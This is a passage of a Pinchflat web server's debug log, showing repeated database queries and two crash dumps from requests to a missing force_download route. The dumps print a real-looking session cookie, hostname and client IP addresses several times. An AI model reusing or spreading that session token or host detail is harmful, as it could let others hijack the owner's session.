s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.842 [debug] QUERY OK source="settings" db=0.3ms idle=48.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.844 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.846 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.850 [info] Sent 200 in 12ms 04:53:48.893 [info] GET /sources/30/media/90855/edit 04:53:48.893 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90855", "source_id" => "30"} Pipelines: [:browser] 04:53:48.894 [debug] QUERY OK source="media_items" db=0.5ms idle=52.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90855] 04:53:48.895 [debug] QUERY OK source="settings" db=0.3ms idle=52.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.896 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=52.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.898 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=51.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.901 [info] Sent 200 in 7ms 04:53:48.912 [info] GET /sources/30/media/90857 04:53:48.913 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90857", "source_id" => "30"} Pipelines: [:browser] 04:53:48.914 [debug] QUERY OK source="media_items" db=0.5ms idle=61.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90857] 04:53:48.915 [debug] QUERY OK source="tasks" db=0.4ms idle=20.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90857] 04:53:48.915 [debug] QUERY OK source="sources" db=0.7ms idle=19.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.917 [debug] QUERY OK source="settings" db=0.3ms idle=20.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.918 [debug] QUERY OK source="settings" db=0.5ms idle=19.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.919 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.922 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.926 [info] Sent 200 in 13ms 04:53:48.950 [info] GET /sources/30/media/90857/edit 04:53:48.951 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90857", "source_id" => "30"} Pipelines: [:browser] 04:53:48.952 [debug] QUERY OK source="media_items" db=0.8ms idle=35.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90857] 04:53:48.952 [info] GET /sources/31/media/90907/force_download 04:53:48.954 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=36.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.954 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=35.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.956 [debug] QUERY OK source="settings" db=1.0ms idle=35.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.956 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:48.956 [debug] QUERY OK source="settings" db=1.4ms idle=32.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.958 [debug] QUERY OK source="settings" db=0.3ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.962 [info] Sent 200 in 11ms 04:53:48.957 [error] #PID<0.139426.0> running PinchflatWeb.Endpoint (connection #PID<0.139358.0>, stream id 7) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90907/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90907/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139426.0>, params: %{}, path_info: ["sources", "31", "media", "90907", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/90907/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0qnbUZnylT0AADEl"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90907/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dY (truncated) 04:53:48.983 [info] GET /sources/31/media/90907 04:53:48.983 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 04:53:48.985 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=29.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 04:53:48.986 [debug] QUERY OK source="tasks" db=1.1ms idle=31.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 04:53:48.987 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=29.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.990 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=32.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 04:53:48.992 [debug] QUERY OK source="settings" db=0.2ms idle=33.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.993 [debug] QUERY OK source="settings" db=0.7ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.995 [debug] QUERY OK source="settings" db=0.3ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.996 [debug] QUERY OK source="media_profiles" db=0.3ms idle=8.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:49.009 [info] Sent 200 in 26ms 04:53:49.055 [info] GET /sources/31/media/91114/force_download 04:53:49.056 [debug] QUERY OK source="settings" db=0.3ms idle=65.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.057 [debug] QUERY OK source="settings" db=0.3ms idle=64.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.057 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:49.058 [error] #PID<0.139431.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 54) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/91114/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 54, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139431.0>, params: %{}, path_info: ["sources", "31", "media", "91114", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/91114/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0q_0HIA6_8gAAI8D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 54, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/91114/force_download 